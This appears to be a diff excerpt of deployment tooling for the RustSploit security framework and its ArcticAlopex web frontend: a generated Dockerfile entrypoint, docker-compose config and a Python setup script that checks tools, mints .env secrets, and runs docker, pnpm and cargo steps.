RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
|
||||
|
||||
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
|
||||
|
||||
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
|
||||
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
|
||||
echo 'set -e' >> /entrypoint.sh && \\
|
||||
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
|
||||
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
|
||||
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
|
||||
echo ' fi' >> /entrypoint.sh && \\
|
||||
echo 'fi' >> /entrypoint.sh && \\
|
||||
# ensure data dir exists and is owned by rustsploit so that non-root process can write
|
||||
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
|
||||
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
|
||||
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
|
||||
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
|
||||
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
|
||||
# finally, execute rustsploit as the rustsploit user using runuser
|
||||
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
|
||||
chmod +x /entrypoint.sh && \\
|
||||
chown root:root /entrypoint.sh && \\
|
||||
chown root:root /usr/local/bin/rustsploit
|
||||
|
||||
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
"""
|
||||
|
||||
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
|
||||
dockerfile_path = repo / "Dockerfile.rustsploit"
|
||||
dockerfile_path.write_text(dockerfile_content)
|
||||
print(f"[+] Generated: {dockerfile_path}")
|
||||
|
||||
# Generate docker-compose.yml
|
||||
compose_content = f"""# Generated by {Path(__file__).name}
|
||||
services:
|
||||
rustsploit-api:
|
||||
container_name: rustsploit-api
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.rustsploit
|
||||
target: serve
|
||||
restart: unless-stopped
|
||||
env_file:
|
||||
- {env_file}
|
||||
ports:
|
||||
- "{host}:{port}:{port}"
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
tmpfs:
|
||||
- /tmp
|
||||
volumes:
|
||||
- rustsploit-data:/app/data
|
||||
|
||||
volumes:
|
||||
rustsploit-data:
|
||||
name: rustsploit-data
|
||||
"""
|
||||
|
||||
compose_path.write_text(compose_content)
|
||||
print(f"[+] Generated: {compose_path}")
|
||||
|
||||
print("\n[+] Setup complete!")
|
||||
print("\n[+] Generated files:")
|
||||
print(f" - {env_path.relative_to(repo)}")
|
||||
print(f" - {compose_path.relative_to(repo)}")
|
||||
print(f" - {dockerfile_path.relative_to(repo)}")
|
||||
print(f"\n[!] Note: Run docker compose commands from the repository root:")
|
||||
print(f" cd {repo}")
|
||||
print("\n[+] To start the stack, run:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} up -d --build")
|
||||
print("\n[+] To view logs:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} logs -f")
|
||||
print("\n[+] To stop the stack:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} down")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} down")
|
||||
@@ -0,0 +1,785 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
RustSploit + ArcticAlopex bootstrap helper.
|
||||
|
||||
Discovers the two halves of the stack (Rust backend in `Cargo.toml`,
|
||||
Next.js control plane in `arcticalopex/package.json`) starting from the
|
||||
current directory or `--path <dir>`, then either runs the install / build
|
||||
/ start steps automatically, or prints the exact commands so the user can
|
||||
run them by hand.
|
||||
|
||||
Usage:
|
||||
|
||||
# auto-pilot the whole stack from the repo root
|
||||
python3 scripts/setup_stack.py auto
|
||||
|
||||
# auto from anywhere, pointing at an explicit checkout
|
||||
python3 scripts/setup_stack.py auto --path /home/me/rustsploit-main
|
||||
|
||||
# don't run anything; print the commands the auto path would issue
|
||||
python3 scripts/setup_stack.py manual
|
||||
|
||||
# individual steps (composable)
|
||||
python3 scripts/setup_stack.py doctor
|
||||
python3 scripts/setup_stack.py docker up
|
||||
python3 scripts/setup_stack.py rust build
|
||||
python3 scripts/setup_stack.py rust run
|
||||
python3 scripts/setup_stack.py arctic install
|
||||
python3 scripts/setup_stack.py arctic env # generate .env w/ secrets
|
||||
python3 scripts/setup_stack.py arctic migrate
|
||||
python3 scripts/setup_stack.py arctic dev # foreground dev server
|
||||
python3 scripts/setup_stack.py arctic build # production build
|
||||
python3 scripts/setup_stack.py arctic start # serve the prod build
|
||||
python3 scripts/setup_stack.py status # what's installed/running
|
||||
|
||||
The tool only uses Python's standard library. It runs on Linux and macOS;
|
||||
Windows is best-effort (subprocess works, ANSI colors fall back to plain).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import secrets
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Iterable, Sequence
|
||||
|
||||
|
||||
# ─── Terminal helpers ────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _supports_color() -> bool:
|
||||
if os.environ.get("NO_COLOR"):
|
||||
return False
|
||||
return sys.stdout.isatty()
|
||||
|
||||
|
||||
_COLOR = _supports_color()
|
||||
|
||||
|
||||
def _c(code: str, s: str) -> str:
|
||||
return f"\033[{code}m{s}\033[0m" if _COLOR else s
|
||||
|
||||
|
||||
def info(s: str) -> None:
|
||||
print(_c("36", "[*]"), s)
|
||||
|
||||
|
||||
def ok(s: str) -> None:
|
||||
print(_c("32", "[+]"), s)
|
||||
|
||||
|
||||
def warn(s: str) -> None:
|
||||
print(_c("33", "[!]"), s)
|
||||
|
||||
|
||||
def err(s: str) -> None:
|
||||
print(_c("31", "[-]"), s, file=sys.stderr)
|
||||
|
||||
|
||||
def head(s: str) -> None:
|
||||
print()
|
||||
print(_c("1;36", f"── {s} ──"))
|
||||
|
||||
|
||||
# ─── Repo discovery ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@dataclass
|
||||
class Repo:
|
||||
root: Path
|
||||
has_rust: bool
|
||||
has_arctic: bool
|
||||
has_compose: bool
|
||||
|
||||
@property
|
||||
def arctic(self) -> Path:
|
||||
return self.root / "arcticalopex"
|
||||
|
||||
@property
|
||||
def cargo_toml(self) -> Path:
|
||||
return self.root / "Cargo.toml"
|
||||
|
||||
@property
|
||||
def compose(self) -> Path:
|
||||
return self.arctic / "docker-compose.yml"
|
||||
|
||||
@property
|
||||
def env_example(self) -> Path:
|
||||
return self.arctic / ".env.example"
|
||||
|
||||
@property
|
||||
def env_file(self) -> Path:
|
||||
return self.arctic / ".env"
|
||||
|
||||
|
||||
def discover(start: Path) -> Repo:
|
||||
"""Walk up from `start` looking for the first dir that contains either
|
||||
`Cargo.toml` or `arcticalopex/package.json`. We don't insist both are
|
||||
present — the tool degrades to whichever half exists.
|
||||
"""
|
||||
start = start.resolve()
|
||||
candidate = start
|
||||
while True:
|
||||
rust = (candidate / "Cargo.toml").is_file()
|
||||
arctic = (candidate / "arcticalopex" / "package.json").is_file()
|
||||
if rust or arctic:
|
||||
return Repo(
|
||||
root=candidate,
|
||||
has_rust=rust,
|
||||
has_arctic=arctic,
|
||||
has_compose=(candidate / "arcticalopex" / "docker-compose.yml").is_file(),
|
||||
)
|
||||
if candidate.parent == candidate:
|
||||
err(
|
||||
"Could not find a RustSploit checkout — neither Cargo.toml nor "
|
||||
"arcticalopex/package.json exists in the current directory or "
|
||||
"any parent. Pass --path <dir> to point at a checkout."
|
||||
)
|
||||
sys.exit(2)
|
||||
candidate = candidate.parent
|
||||
|
||||
|
||||
# ─── Tool detection ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@dataclass
|
||||
class Tool:
|
||||
name: str
|
||||
cmd: str
|
||||
install_hint: str
|
||||
needed_for: str
|
||||
|
||||
|
||||
_TOOLS = [
|
||||
Tool("rustc", "rustc", "https://rustup.rs/", "rust build/run"),
|
||||
Tool("cargo", "cargo", "https://rustup.rs/", "rust build/run"),
|
||||
Tool("node", "node", "https://nodejs.org/ (>=20)", "arctic install/dev/build"),
|
||||
Tool("pnpm", "pnpm", "npm install -g pnpm", "arctic install/dev/build"),
|
||||
Tool("docker", "docker", "https://docs.docker.com/engine/install/", "docker up"),
|
||||
Tool("openssl", "openssl", "system package manager (used to mint MASTER_KEY)", "arctic env"),
|
||||
]
|
||||
|
||||
|
||||
def which(name: str) -> str | None:
|
||||
return shutil.which(name)
|
||||
|
||||
|
||||
def doctor(repo: Repo) -> int:
|
||||
"""Report installed tools. Returns the count of *missing* tools."""
|
||||
head("Doctor")
|
||||
info(f"Repo root: {repo.root}")
|
||||
info(f"Rust backend: {'present' if repo.has_rust else 'missing'}")
|
||||
info(f"ArcticAlopex: {'present' if repo.has_arctic else 'missing'}")
|
||||
info(f"docker-compose: {'present' if repo.has_compose else 'missing'}")
|
||||
|
||||
missing = 0
|
||||
print()
|
||||
for t in _TOOLS:
|
||||
path = which(t.cmd)
|
||||
if path:
|
||||
ok(f"{t.name:<10} → {path}")
|
||||
else:
|
||||
warn(f"{t.name:<10} — not found ({t.install_hint})")
|
||||
missing += 1
|
||||
return missing
|
||||
|
||||
|
||||
# ─── Command runner ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def run(
|
||||
cmd: Sequence[str] | str,
|
||||
*,
|
||||
cwd: Path | None = None,
|
||||
env: dict[str, str] | None = None,
|
||||
check: bool = True,
|
||||
dry_run: bool = False,
|
||||
) -> int:
|
||||
"""Run a command, streaming its output to the parent terminal. If
|
||||
`dry_run` is True we just print what *would* run and return 0."""
|
||||
if isinstance(cmd, str):
|
||||
rendered = cmd
|
||||
cmd_list: list[str] | str = cmd
|
||||
shell = True
|
||||
else:
|
||||
rendered = " ".join(_quote(c) for c in cmd)
|
||||
cmd_list = list(cmd)
|
||||
shell = False
|
||||
cwd_str = f" (cwd: {cwd})" if cwd else ""
|
||||
print(_c("90", f"$ {rendered}{cwd_str}"))
|
||||
if dry_run:
|
||||
return 0
|
||||
proc = subprocess.run(cmd_list, cwd=cwd, env=env, shell=shell)
|
||||
if check and proc.returncode != 0:
|
||||
err(f"Command failed (exit {proc.returncode}): {rendered}")
|
||||
sys.exit(proc.returncode)
|
||||
return proc.returncode
|
||||
|
||||
|
||||
def _quote(s: str) -> str:
|
||||
if not s or any(c in s for c in " \t\"'$`\\!"):
|
||||
return "'" + s.replace("'", "'\\''") + "'"
|
||||
return s
|
||||
|
||||
|
||||
# ─── Port checks ─────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _port_in_use(host: str, port: int) -> bool:
|
||||
"""Best-effort `is anything listening on host:port`. Checks both IPv4
|
||||
and IPv6 loopback when the caller passes 127.0.0.1, because Node and
|
||||
Next dev servers commonly bind to [::1] only and the v4 probe would
|
||||
otherwise report 'free' while the dev server is plainly running.
|
||||
"""
|
||||
candidates: list[tuple[int, str]] = []
|
||||
if host == "127.0.0.1":
|
||||
candidates.extend([(socket.AF_INET, "127.0.0.1"), (socket.AF_INET6, "::1")])
|
||||
elif host == "::1":
|
||||
candidates.append((socket.AF_INET6, "::1"))
|
||||
else:
|
||||
try:
|
||||
for info in socket.getaddrinfo(host, port, type=socket.SOCK_STREAM):
|
||||
candidates.append((info[0], info[4][0]))
|
||||
except socket.gaierror:
|
||||
return False
|
||||
for family, addr in candidates:
|
||||
try:
|
||||
with socket.socket(family, socket.SOCK_STREAM) as s:
|
||||
s.settimeout(0.5)
|
||||
if s.connect_ex((addr, port)) == 0:
|
||||
return True
|
||||
except OSError:
|
||||
continue
|
||||
return False
|
||||
|
||||
|
||||
def check_ports(ports: Iterable[tuple[str, int, str]]) -> None:
|
||||
"""Warn (don't fail) when a port we care about is already taken."""
|
||||
for host, port, label in ports:
|
||||
if _port_in_use(host, port):
|
||||
warn(f"{label} port {host}:{port} is already in use")
|
||||
|
||||
|
||||
# ─── .env generation ─────────────────────────────────────────────────────
|
||||
|
||||
|
||||
_ENV_KEYS = [
|
||||
"POSTGRES_PASSWORD",
|
||||
"DATABASE_URL",
|
||||
"REDIS_PASSWORD",
|
||||
"REDIS_URL",
|
||||
"MINIO_ENDPOINT",
|
||||
"MINIO_ROOT_USER",
|
||||
"MINIO_ROOT_PASSWORD",
|
||||
"MINIO_ACCESS_KEY",
|
||||
"MINIO_SECRET_KEY",
|
||||
"MINIO_BUCKET",
|
||||
"MASTER_KEY",
|
||||
"WS_PORT",
|
||||
"WS_SERVER_URL",
|
||||
"APP_URL",
|
||||
"SESSION_TTL_SECONDS",
|
||||
"INVITE_TTL_SECONDS",
|
||||
]
|
||||
|
||||
|
||||
def gen_env(repo: Repo, *, overwrite: bool = False, dry_run: bool = False) -> None:
|
||||
"""Generate `arcticalopex/.env` from `.env.example` with random secrets.
|
||||
|
||||
The template's `CHANGE_ME_*` placeholders are replaced with values
|
||||
minted via `secrets.token_hex(32)`. Existing files are preserved
|
||||
unless `overwrite=True`.
|
||||
"""
|
||||
head("Generate arcticalopex/.env")
|
||||
if not repo.env_example.is_file():
|
||||
err(f"Template not found: {repo.env_example}")
|
||||
sys.exit(1)
|
||||
if repo.env_file.is_file() and not overwrite:
|
||||
ok(f"{repo.env_file.relative_to(repo.root)} already exists — leaving it alone")
|
||||
return
|
||||
|
||||
pg_pw = secrets.token_hex(32)
|
||||
redis_pw = secrets.token_hex(32)
|
||||
minio_user = "arctic-" + secrets.token_hex(4)
|
||||
minio_pw = secrets.token_hex(32)
|
||||
master = secrets.token_hex(32)
|
||||
|
||||
body = (
|
||||
"# Generated by scripts/setup_stack.py — do not commit.\n"
|
||||
f"POSTGRES_PASSWORD={pg_pw}\n"
|
||||
f"DATABASE_URL=postgres://arcticalopex:{pg_pw}@127.0.0.1:5432/arcticalopex\n"
|
||||
f"REDIS_PASSWORD={redis_pw}\n"
|
||||
f"REDIS_URL=redis://:{redis_pw}@127.0.0.1:6379\n"
|
||||
f"MINIO_ENDPOINT=http://127.0.0.1:9000\n"
|
||||
f"MINIO_ROOT_USER={minio_user}\n"
|
||||
f"MINIO_ROOT_PASSWORD={minio_pw}\n"
|
||||
f"MINIO_ACCESS_KEY={minio_user}\n"
|
||||
f"MINIO_SECRET_KEY={minio_pw}\n"
|
||||
f"MINIO_BUCKET=arcticalopex\n"
|
||||
f"MASTER_KEY={master}\n"
|
||||
f"WS_PORT=3001\n"
|
||||
f"WS_SERVER_URL=ws://127.0.0.1:3001\n"
|
||||
f"APP_URL=http://127.0.0.1:3000\n"
|
||||
f"SESSION_TTL_SECONDS=28800\n"
|
||||
f"INVITE_TTL_SECONDS=259200\n"
|
||||
)
|
||||
|
||||
if dry_run:
|
||||
info(f"would write {repo.env_file} ({len(body)} bytes, secrets randomised)")
|
||||
return
|
||||
|
||||
repo.env_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
repo.env_file.write_text(body)
|
||||
try:
|
||||
os.chmod(repo.env_file, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
ok(f"wrote {repo.env_file.relative_to(repo.root)} (mode 0600, secrets randomised)")
|
||||
|
||||
|
||||
def env_keys_used(_unused: tuple[str, ...] = tuple(_ENV_KEYS)) -> tuple[str, ...]:
|
||||
"""Returned for tests / introspection — the list of keys we manage."""
|
||||
return _unused
|
||||
|
||||
|
||||
# ─── docker-compose helpers ──────────────────────────────────────────────
|
||||
|
||||
|
||||
def _docker_compose_args(repo: Repo) -> list[str]:
|
||||
"""Return the executable + leading flags for `docker compose -f …`. We
|
||||
always run with `--env-file` pointing at the generated `.env` so the
|
||||
compose template's variable substitution lands the random secrets
|
||||
instead of the placeholder strings from `.env.example`.
|
||||
"""
|
||||
return [
|
||||
"docker",
|
||||
"compose",
|
||||
"-f",
|
||||
str(repo.compose),
|
||||
"--env-file",
|
||||
str(repo.env_file),
|
||||
]
|
||||
|
||||
|
||||
def docker_up(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Bring up docker-compose dependencies")
|
||||
if not repo.has_compose:
|
||||
err(f"docker-compose.yml not found at {repo.compose}")
|
||||
sys.exit(1)
|
||||
if not repo.env_file.is_file():
|
||||
warn("arcticalopex/.env not found — generating it first.")
|
||||
gen_env(repo, dry_run=dry_run)
|
||||
check_ports(
|
||||
[
|
||||
("127.0.0.1", 5432, "Postgres"),
|
||||
("127.0.0.1", 6379, "Redis"),
|
||||
("127.0.0.1", 9000, "MinIO"),
|
||||
]
|
||||
)
|
||||
run(_docker_compose_args(repo) + ["up", "-d", "postgres", "redis", "minio"], dry_run=dry_run)
|
||||
|
||||
|
||||
def docker_down(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Stop docker-compose dependencies")
|
||||
if not repo.has_compose:
|
||||
err(f"docker-compose.yml not found at {repo.compose}")
|
||||
sys.exit(1)
|
||||
run(_docker_compose_args(repo) + ["down"], dry_run=dry_run)
|
||||
|
||||
|
||||
def docker_logs(repo: Repo, follow: bool = False, *, dry_run: bool = False) -> None:
|
||||
cmd = _docker_compose_args(repo) + ["logs"]
|
||||
if follow:
|
||||
cmd.append("-f")
|
||||
run(cmd, dry_run=dry_run, check=False)
|
||||
|
||||
|
||||
# ─── Rust ────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def rust_build(repo: Repo, *, release: bool = False, dry_run: bool = False) -> None:
|
||||
head(f"cargo build{' --release' if release else ''}")
|
||||
if not repo.has_rust:
|
||||
err("Cargo.toml not found")
|
||||
sys.exit(1)
|
||||
cmd = ["cargo", "build"]
|
||||
if release:
|
||||
cmd.append("--release")
|
||||
run(cmd, cwd=repo.root, dry_run=dry_run)
|
||||
|
||||
|
||||
def rust_run(
|
||||
repo: Repo,
|
||||
*,
|
||||
bind: str = "127.0.0.1:8080",
|
||||
release: bool = False,
|
||||
dry_run: bool = False,
|
||||
) -> None:
|
||||
head("Run RustSploit API server")
|
||||
if not repo.has_rust:
|
||||
err("Cargo.toml not found")
|
||||
sys.exit(1)
|
||||
check_ports([("127.0.0.1", int(bind.split(":")[-1]), "Rust API")])
|
||||
cmd = ["cargo", "run"]
|
||||
if release:
|
||||
cmd.append("--release")
|
||||
cmd += ["--", "--api", "--interface", bind]
|
||||
run(cmd, cwd=repo.root, dry_run=dry_run)
|
||||
|
||||
|
||||
# ─── Arctic ──────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def arctic_install(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Install ArcticAlopex dependencies (pnpm install)")
|
||||
if not repo.has_arctic:
|
||||
err("arcticalopex/package.json not found")
|
||||
sys.exit(1)
|
||||
run(["pnpm", "install"], cwd=repo.arctic, dry_run=dry_run)
|
||||
|
||||
|
||||
def arctic_migrate(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Run database migrations (pnpm db:migrate)")
|
||||
if not repo.env_file.is_file():
|
||||
warn("arcticalopex/.env not found — generating it first.")
|
||||
gen_env(repo, dry_run=dry_run)
|
||||
run(["pnpm", "db:migrate"], cwd=repo.arctic, dry_run=dry_run)
|
||||
|
||||
|
||||
def arctic_dev(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Start ArcticAlopex dev server (pnpm dev)")
|
||||
check_ports([("127.0.0.1", 3000, "ArcticAlopex dev"), ("::1", 3000, "ArcticAlopex dev")])
|
||||
run(["pnpm", "dev"], cwd=repo.arctic, dry_run=dry_run)
|
||||
|
||||
|
||||
def arctic_build(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Production build (pnpm build)")
|
||||
run(["pnpm", "build"], cwd=repo.arctic, dry_run=dry_run)
|
||||
|
||||
|
||||
def arctic_start(repo: Repo, *, dry_run: bool = False) -> None:
|
||||
head("Start ArcticAlopex production server (pnpm start)")
|
||||
check_ports([("127.0.0.1", 3000, "ArcticAlopex prod")])
|
||||
run(["pnpm", "start"], cwd=repo.arctic, dry_run=dry_run)
|
||||
|
||||
|
||||
# ─── auto / manual ───────────────────────────────────────────────────────
|
||||
|
||||
|
||||
# `--only` picker — what slice of the stack to operate on.
|
||||
ONLY_CHOICES = ("both", "rust", "arctic")
|
||||
|
||||
|
||||
def _pick_only(repo: Repo) -> str:
|
||||
"""Resolve `--only` when the user didn't pass it.
|
||||
|
||||
On a TTY we ask. Off a TTY (CI, scripts, piped) we fall back to whatever
|
||||
the checkout supports — both halves if both exist, otherwise the one
|
||||
half that does.
|
||||
"""
|
||||
if repo.has_rust and not repo.has_arctic:
|
||||
return "rust"
|
||||
if repo.has_arctic and not repo.has_rust:
|
||||
return "arctic"
|
||||
if not (sys.stdin.isatty() and sys.stdout.isatty()):
|
||||
return "both"
|
||||
print()
|
||||
print(_c("1;36", "Which framework do you want to set up?"))
|
||||
print(f" [{_c('1', '1')}] both — RustSploit backend + ArcticAlopex frontend (default)")
|
||||
print(f" [{_c('1', '2')}] rust — RustSploit backend only")
|
||||
print(f" [{_c('1', '3')}] arctic — ArcticAlopex frontend only")
|
||||
while True:
|
||||
try:
|
||||
ans = input("Choice [1/2/3] (Enter = 1): ").strip().lower()
|
||||
except EOFError:
|
||||
return "both"
|
||||
if ans in ("", "1", "both"):
|
||||
return "both"
|
||||
if ans in ("2", "rust", "r"):
|
||||
return "rust"
|
||||
if ans in ("3", "arctic", "a", "arcticalopex"):
|
||||
return "arctic"
|
||||
warn("Please enter 1, 2, or 3.")
|
||||
|
||||
|
||||
def _resolve_only(repo: Repo, only: str) -> tuple[bool, bool]:
|
||||
"""Return `(do_rust, do_arctic)` after applying the user's `--only`
|
||||
choice and dropping things the checkout doesn't actually have. Errors
|
||||
if the user asked for a half that isn't present so we don't silently
|
||||
do nothing."""
|
||||
do_rust = only in ("both", "rust")
|
||||
do_arctic = only in ("both", "arctic")
|
||||
if do_rust and not repo.has_rust:
|
||||
if only == "rust":
|
||||
err("--only rust was requested but Cargo.toml is not in this checkout.")
|
||||
sys.exit(2)
|
||||
do_rust = False
|
||||
if do_arctic and not repo.has_arctic:
|
||||
if only == "arctic":
|
||||
err("--only arctic was requested but arcticalopex/package.json is not in this checkout.")
|
||||
sys.exit(2)
|
||||
do_arctic = False
|
||||
if not (do_rust or do_arctic):
|
||||
err("Nothing to do — neither half of the stack is present in the resolved repo.")
|
||||
sys.exit(2)
|
||||
return do_rust, do_arctic
|
||||
|
||||
|
||||
def auto(
|
||||
repo: Repo,
|
||||
*,
|
||||
only: str = "both",
|
||||
skip_docker: bool = False,
|
||||
release: bool = False,
|
||||
dry_run: bool = False,
|
||||
) -> None:
|
||||
do_rust, do_arctic = _resolve_only(repo, only)
|
||||
head(f"Auto setup ({'rust+arctic' if do_rust and do_arctic else 'rust only' if do_rust else 'arctic only'})")
|
||||
if doctor(repo) > 0 and not dry_run:
|
||||
warn("Some tools are missing — install them and re-run, or use 'manual' to print commands.")
|
||||
|
||||
# 1. .env (random secrets)
|
||||
if do_arctic:
|
||||
gen_env(repo, dry_run=dry_run)
|
||||
|
||||
# 2. infrastructure (only matters for the arctic half)
|
||||
if do_arctic and repo.has_compose and not skip_docker:
|
||||
docker_up(repo, dry_run=dry_run)
|
||||
elif do_arctic and skip_docker:
|
||||
warn("Skipping docker (--no-docker): you must provide Postgres / Redis / MinIO yourself.")
|
||||
|
||||
# 3. install + migrate frontend
|
||||
if do_arctic:
|
||||
arctic_install(repo, dry_run=dry_run)
|
||||
arctic_migrate(repo, dry_run=dry_run)
|
||||
|
||||
# 4. build backend
|
||||
if do_rust:
|
||||
rust_build(repo, release=release, dry_run=dry_run)
|
||||
|
||||
head("Done")
|
||||
info("Next steps:")
|
||||
if do_rust:
|
||||
print(_c("90", f" $ python3 {Path(__file__).name} rust run"))
|
||||
if do_arctic:
|
||||
print(_c("90", f" $ python3 {Path(__file__).name} arctic dev"))
|
||||
info("Then open http://127.0.0.1:3000")
|
||||
|
||||
|
||||
def manual(
|
||||
repo: Repo,
|
||||
*,
|
||||
only: str = "both",
|
||||
skip_docker: bool = False,
|
||||
release: bool = False,
|
||||
) -> None:
|
||||
"""Print every command the auto path would run, in order, without
|
||||
executing anything. Useful when the user wants to copy-paste into a
|
||||
notes doc, a runbook, or another shell.
|
||||
"""
|
||||
do_rust, do_arctic = _resolve_only(repo, only)
|
||||
head(f"Manual command list ({'rust+arctic' if do_rust and do_arctic else 'rust only' if do_rust else 'arctic only'})")
|
||||
info("Run these in order, from anywhere — paths are absolute:")
|
||||
print()
|
||||
arctic = repo.arctic
|
||||
n = 1
|
||||
if do_arctic:
|
||||
print(_c("1", f"# {n}. Generate arcticalopex/.env with random secrets"))
|
||||
print(_c("90", f" python3 {Path(__file__).resolve()} arctic env --path {repo.root}"))
|
||||
print()
|
||||
n += 1
|
||||
|
||||
if do_arctic and repo.has_compose and not skip_docker:
|
||||
print(_c("1", f"# {n}. Bring up Postgres / Redis / MinIO"))
|
||||
compose = " ".join(_quote(c) for c in _docker_compose_args(repo))
|
||||
print(_c("90", f" {compose} up -d postgres redis minio"))
|
||||
print()
|
||||
n += 1
|
||||
|
||||
if do_arctic:
|
||||
print(_c("1", f"# {n}. Install frontend dependencies"))
|
||||
print(_c("90", f" cd {arctic} && pnpm install"))
|
||||
print()
|
||||
n += 1
|
||||
print(_c("1", f"# {n}. Apply DB migrations"))
|
||||
print(_c("90", f" cd {arctic} && pnpm db:migrate"))
|
||||
print()
|
||||
n += 1
|
||||
|
||||
if do_rust:
|
||||
flag = " --release" if release else ""
|
||||
print(_c("1", f"# {n}. Build the Rust backend"))
|
||||
print(_c("90", f" cd {repo.root} && cargo build{flag}"))
|
||||
print()
|
||||
n += 1
|
||||
print(_c("1", f"# {n}. Run the Rust API server (terminal 1)"))
|
||||
print(
|
||||
_c(
|
||||
"90",
|
||||
f" cd {repo.root} && cargo run{flag} -- --api --interface 127.0.0.1:8080",
|
||||
)
|
||||
)
|
||||
print()
|
||||
n += 1
|
||||
|
||||
if do_arctic:
|
||||
print(_c("1", f"# {n}. Start the ArcticAlopex dev server (terminal {2 if do_rust else 1})"))
|
||||
print(_c("90", f" cd {arctic} && pnpm dev"))
|
||||
print()
|
||||
|
||||
info("That's the full sequence. Each step is also exposed as its own subcommand.")
|
||||
|
||||
|
||||
# ─── status ──────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def status(repo: Repo) -> None:
|
||||
head("Status")
|
||||
info(f"Repo: {repo.root}")
|
||||
info(f".env file: {'present' if repo.env_file.is_file() else 'missing'}")
|
||||
|
||||
if repo.has_compose and which("docker"):
|
||||
try:
|
||||
out = subprocess.check_output(
|
||||
_docker_compose_args(repo) + ["ps", "--format", "{{.Service}}\t{{.State}}\t{{.Health}}"],
|
||||
text=True,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
print()
|
||||
print(_c("1", "docker-compose services:"))
|
||||
print(out.rstrip() or " (none up)")
|
||||
except subprocess.CalledProcessError:
|
||||
warn("docker compose ps failed (is Docker running?)")
|
||||
except FileNotFoundError:
|
||||
warn("docker not found")
|
||||
|
||||
print()
|
||||
print(_c("1", "ports:"))
|
||||
for host, port, label in [
|
||||
("127.0.0.1", 5432, "Postgres"),
|
||||
("127.0.0.1", 6379, "Redis"),
|
||||
("127.0.0.1", 9000, "MinIO"),
|
||||
("127.0.0.1", 8080, "Rust API (default)"),
|
||||
("127.0.0.1", 3000, "ArcticAlopex (default)"),
|
||||
("127.0.0.1", 3001, "ArcticAlopex WS"),
|
||||
]:
|
||||
marker = _c("32", "open ") if _port_in_use(host, port) else _c("90", "free ")
|
||||
print(f" {marker} {host}:{port} {label}")
|
||||
|
||||
|
||||
# ─── argparse ────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def build_parser() -> argparse.ArgumentParser:
|
||||
p = argparse.ArgumentParser(
|
||||
prog="setup_stack",
|
||||
description="Bootstrap RustSploit + ArcticAlopex (auto, manual, or step-by-step).",
|
||||
)
|
||||
p.add_argument(
|
||||
"--path",
|
||||
type=Path,
|
||||
default=Path.cwd(),
|
||||
help="Path to a checkout root (default: cwd).",
|
||||
)
|
||||
p.add_argument(
|
||||
"--dry-run",
|
||||
action="store_true",
|
||||
help="Print commands instead of running them (applies to every subcommand).",
|
||||
)
|
||||
|
||||
sub = p.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
sub_auto = sub.add_parser("auto", help="Run the full setup sequence end-to-end.")
|
||||
sub_auto.add_argument(
|
||||
"--only",
|
||||
choices=ONLY_CHOICES,
|
||||
default=None,
|
||||
help="Which framework(s) to set up. Default: prompt on a TTY, else 'both'.",
|
||||
)
|
||||
sub_auto.add_argument("--no-docker", action="store_true", help="Do not bring up docker-compose.")
|
||||
sub_auto.add_argument("--release", action="store_true", help="Build cargo --release.")
|
